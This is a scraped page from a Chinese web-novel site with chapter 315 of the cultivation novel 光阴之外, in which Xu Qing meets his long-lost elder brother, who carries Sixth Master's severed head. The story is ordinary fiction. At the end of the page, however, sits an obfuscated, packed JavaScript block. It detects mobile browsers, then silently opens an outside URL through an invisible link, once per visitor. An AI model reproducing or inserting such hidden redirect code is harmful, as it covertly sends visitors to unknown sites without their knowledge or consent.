第五文学网 > 修真小说 > 光阴之外 > 第三百一十五章 阿弟,好久不见

第三百一十五章 阿弟,好久不见

    最新网址:    寒风,从北方吹来,带着对众生的冷漠,将冰霜铺满天地。

    冬天,在这一刻到来。

    这是一个寒冬,或许冬季过后,迎皇州的凡俗又将出现无数被冻死的骸骨。

    生命的脆弱,与其不值钱一样,微不足道。

    或许,未来的某一天,这天地间的众生将逐渐的枯萎,纷纷埋葬在神灵之下,成了尘埃。

    这尘埃可能只存在于风的记忆里,随着其远去,萧瑟的洒落。

    就如同这一刻吹来的寒风,里面也带着死亡的吐息,飘散在了这距离八宗联盟还有七天路程的丛林边缘。

    树木落叶在风中卷起又落下,最终干枯里带着余湿,找到了自己的坟墓,与淤泥葬在一起,让泥土越来越硬。

    尤其是黑夜,这寒就更浓几分。

    风中的树,在摇晃,因为它感受到了季节的变迁。

    树下的人,在颤抖,因为他看到了月光下的头颅之脸。

    六爷。

    六爷的头颅,已经没有鲜血滴落了,就连粘在须子上的血迹,也都不再是鲜红,而是透着暗色,成了紫黑。

    但他的眼睛始终睁着,瞳孔已经涣散,没有了生机,可其内的无神以及死亡前茫然与释然的交融,风也无法吹散,只能将其须子微微摇动。

    许青沉默。

    他与六爷相处不是很多,只是从当初白戾之事有了交集,但从那件事情之后,六爷对他的关怀不少。

    无论是白戾之事的赠宝庇护,还是清剿夜鸠组织时的背景保护,都使许青避开了很多麻烦与危机。

    前者,是他与圣昀子凰禁第一战的重要支撑之一,可以说若当日与圣昀子首战,没有六爷给予的玉简,那一战将更为艰难。

    后者,六爷的全力支持既让许青行事更顺利,同时也震慑宗门内与夜鸠组织有利益关联之人,使许青更安全。

    六爷的保护,与七爷不一样。

    七爷是轰轰烈烈,当着天下收徒形成威慑,如一根长枪,刺破云霄。

    而六爷的性格与过往的经历,使他的保护更倾向于无声无息,就好似一面无锋盾牌,给了许青退后的余地。

    在这冷漠的天地,在这残酷的世间,这份无声无息的关怀,许青很看重。

    他性格重情重义,对敌人杀伐果断甚至很多时候都无比残酷,心底深处更是竖起高墙,充满了对外界的警惕与戒备。

    他将自己全副武装,封锁一切,也只是为了保护自己不被伤害。

    这是许青从小的经历造成的性格变化,但……在这一切之下,在这高墙之内,在这冰山的深处,藏着的是极少有人可以去体会的温情。

    对于敌人,许青心狠手辣,不死不休。

    对于恩人,许青永生不忘,时刻铭记。

    这就是许青。

    寒冷冬夜里,对于给他了关心,给了他温暖,给了他火炉之人,他这一生遇到的不多,每一个,他都很珍惜。

    但,雷队走了,柏大师走了,如今六爷也走了。

    所以他的心,此刻刺痛强烈。

    他的身体,如今颤抖寒冷。

    他的眼睛,慢慢出现血丝。

    最终,化作了一股抬头的力气,缓缓的抬起头。

    这抬头的动作,很艰难。

    因为,在这一行人出现的瞬间,许青的身躯如被凝固,他不能动了。

    那是威压造成,那是生命层次的凝聚所形成!

    但他还是挣扎的抬起了头,因为哪怕是死,许青也不想低头面对。

    他盯着前方一行人里,走在最前方的黑袍人,看着对方脸上的神灵残面面具,看着对方手里与六爷生前血液一样的糖葫芦。

    带着面具的黑袍青年,脚步停顿下来,目中浮现一些追忆,温和里透着亲情,看向许青。

    这温和的眼神,让许青一愣,心中随之掀起强烈震动。

    那若亲情目光,让他的记忆瞬间就出现了撼天动地的翻腾。

    而随着青年的停顿,其身后三人也都停下脚步。

    夜鸠面具下的脸,泛起一些奇异之色,他认得许青就是那个参与了白戾之死,之前在自己出手下,逃过死劫的小家伙。

    而眼前的一幕,让他觉得事情远不是那么简单,所以他没说话。

    至于圣昀子的父亲,则是目露奇芒,若有所思,善于隐忍的他,一样没说话。

    但一旁的圣昀子,他的表情却变的狰狞起来,死死的盯着许青,嘴角露出一抹狞笑,在他的认知里,许青这一次,必死无疑。

    “大人,我……”圣昀子本能的就要开口,可下一瞬其父猛地目光严厉狠狠瞪去,圣昀子声音一顿,不再开口。

    他从其父的目中,看出了紧张,看出了疑惑。

    圣昀子,或许光芒很盛,但归根结底,在心性上不如其父。

    此刻圣昀子的父亲,已经不是圣昀子所看的紧张与疑惑,其内心深处真正的感受是骇然,因为他觉得这件事,不对劲。

    这一路,前方的那位神秘莫测,实力恐怖,可以释放神灵目光的大人,明明可以挪移离去,但偏偏不疾不徐。

    且好似早就知晓这个方向一样,一路走来。

    直至圣昀子父亲看到许青的一刻,他的心底忽然有了一个强烈的猜测,那位烛照的大人,之前之所以走这条路,就是为了与许青相遇!

    这个猜测,让他不寒而栗。

    随后,寒风呜咽的吹拂中,带着神灵面具的黑袍青年,注意到许青望着身后夜鸠手里头颅的目光,他轻声开口。

    “我知他与你的关系,但他杀白戾,我取他首级,此事合理,不会因你而改变。”

    说着,黑袍青年向着许青一步步走去,他的步伐不快,目中依旧温柔,没有丝毫作假,是从心底所散。

    而许青的身体,虽被凝固,可此刻却颤抖更为剧烈。

    他无法置信的盯着走来的黑袍人其面具下的眼睛,耳边回荡的对方声音落入记忆最深处,在那里不断掀起了熟悉之感。

    这种感觉,让他呼吸渐渐急促,瞳孔正在收缩,甚至喉咙里都本能的发出呜呜之声。

    这不是恐惧,而是不敢相信,不愿相信,更是在这感受之后,是他认为此事不可能的最后的坚强!

    直至,黑袍青年走到了许青的面前,看着快要和自己一样高的许青,他凝望了很久。

    最终在许青的颤抖以及身体骨头都传来咔咔之声下,青年抬起手,放在了自己的面具上。

    轻轻的……取了下来。

    露出了一张与许青赫然有七分相似的脸!

    淡雅如雾的星光里,那张脸虽苍白,可钟天地之灵的双眼不含任何杂质,清澈却又深不见底。

    双目之上斜飞的英挺剑眉,削薄轻抿的唇,棱角分明的轮廓,这一切,使得这黑袍青年整个人若黑夜中的鹰,冷傲孤清。

    与许青比较,他似乎更冷,似乎更邪。

    而此刻,鹰目内的孤清中,带着罕见的柔和,轻声开口。

    “阿弟,好久不见。”

    许青如遭天雷轰击,脑海似有十万雷霆爆开,化作了开天辟地的声响,神魂强烈动荡,身体无尽颤抖。

    眼前的一切似乎都消失,只剩下了那张梦里无比熟悉的脸,以及那在记忆深处,在那高墙之后,在那冰山之内,在其内心最脆弱也最宝贵的地方,回荡过的声音。

    如他之前感受到熟悉时,心底的无法置信一样,只不过方才的他,还有一丝认为不可能的情绪蕴含。

    可现在随着面具的拿下,随着那一声阿弟的话语,许青心神内最后一抹坚持,被无情的摧毁。

    这摧毁的地方,是他内心最深处,外人无法触及之地,也是他最想要去保护的区域,但这一刻……

    坍塌了。

    他的信念,是在这乱世里活下去,要是可以活得好一点,那就更好了,要是最终还能看见亲人一面,他就彻底满足了。

    他小时候曾无数次的想过,自己未来某一天与亲人相见的一幕,那所有的画面里,都带着美好,带着温馨。

    这是在寒冬里,瑟瑟发抖的他,避免被冻死的坚持。

    可现在……

    许青的口中传出呜呜之声,他的额头青筋鼓起,他的目中带着苦涩,带着茫然,带着痛苦,更带着一抹慢慢消散的依赖。

    一股无法形容的痛,从他心中最柔软的地方,撕裂般传来。

    他觉得好冷,好冷,就连灵魂在这一刻也都寒颤,从内到外,从魂到身。

    “阿弟,其实我最怀念的,就是我们小时候的一幕幕了。”许青的哥哥,抬起头,看着夜空里的冷月,轻声喃喃。

    许青胸口起伏,眼睛用力的挪开,看向了不远处另一个黑袍人手里拎着的头颅,悲伤之意化作了眼里的泪水,慢慢的流淌下来。

    这泪水,不知是哭六爷,还是哭哥哥,又或者哭自己。

    此刻,寒风再来,吹不干他的泪,但却可以吹动圣昀子父子以及夜鸠的心神。

    他们三位,亲眼目睹这一幕后,内心已然掀起前所未有的滔天大浪!

    圣昀子眼睛睁大,带着极致的骇然。

    其父呼吸急促,脑海思绪惊天翻滚。

    至于夜鸠,则是低头看了看手里的头颅,又看向许青那弥漫泪水的眼中散出的挣扎与疯狂,最终他目光落在自己主人身上,越发的狂热。

    (本章完)

    最新网址:


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))